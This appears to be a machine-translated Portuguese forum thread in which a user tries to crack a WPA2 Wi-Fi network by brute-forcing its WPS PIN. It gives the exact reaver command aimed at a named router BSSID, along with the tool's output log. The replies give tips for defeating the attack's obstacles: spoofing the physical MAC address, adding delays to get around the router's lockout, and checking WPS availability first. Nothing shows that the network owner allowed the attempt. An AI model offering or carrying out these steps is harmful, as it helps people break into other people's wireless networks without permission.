O roteador que você está quebrando precisa ter um sinal relativamente strong, por isso, se você estiver longe do alcance de um roteador, provavelmente terá problemas, e o Reaver pode não funcionar.
Eu tenho tentado hackear um WPA2 Wifi, e até agora estou preso a isso.
O problema é que ele continua tentando o mesmo PIN repetidamente.
Aqui está o último comando do REAVER que eu digitei.
reaver -i mon0 -b 2C:AB:25:51:F1:CF -vv -c 1 -S -L -f
Ele faz isso (somente um PIN repetidamente)
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 2C:AB:25:51:F1:CF
[+] Associated with 2C:AB:25:51:F1:CF (ESSID: PTCL-BB)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
^C
[+] Nothing done, nothing to save.
O roteador que você está quebrando precisa ter um sinal relativamente strong, por isso, se você estiver longe do alcance de um roteador, provavelmente terá problemas, e o Reaver pode não funcionar.
Eu não acho que seja o único problema.
Primeiro de tudo, tente com a lavagem para verificar a disponibilidade do WPS no alvo. Em seguida, tente alterar o endereço MAC FÍSICO, não a interface do monitor.
Alguns roteadores bloqueiam o endereço MAC após várias tentativas com falha. Defina reaver para um atraso de 5/10 minutos antes da próxima tentativa após o erro PIN.